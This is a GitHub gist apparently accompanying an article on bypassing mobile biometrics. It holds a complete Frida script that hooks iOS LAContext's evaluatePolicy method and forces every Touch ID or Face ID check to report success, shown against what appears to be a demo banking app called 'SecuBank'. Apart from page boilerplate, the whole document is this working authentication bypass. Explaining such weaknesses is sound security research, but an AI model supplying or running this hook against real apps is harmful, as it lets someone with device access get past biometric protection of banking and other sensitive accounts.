Created
November 25, 2019 13:45
-
-
Save r3ggi/40c252b1e96fd6664f38077c7b90dfa2 to your computer and use it in GitHub Desktop.
[Bypassing biometrics article] SecuBank Frida bypass
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
if(ObjC.available) { | |
console.log("Injecting..."); | |
var hook = ObjC.classes.LAContext["- evaluatePolicy:localizedReason:reply:"]; | |
Interceptor.attach(hook.implementation, { | |
onEnter: function(args) { | |
var block = new ObjC.Block(args[4]); | |
const callback = block.implementation; | |
block.implementation = function (error, value) { | |
console.log("Changing the result value to true") | |
const result = callback(1, null); | |
return result; | |
}; | |
}, | |
}); | |
} else { | |
console.log("Objective-C Runtime is not available!"); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment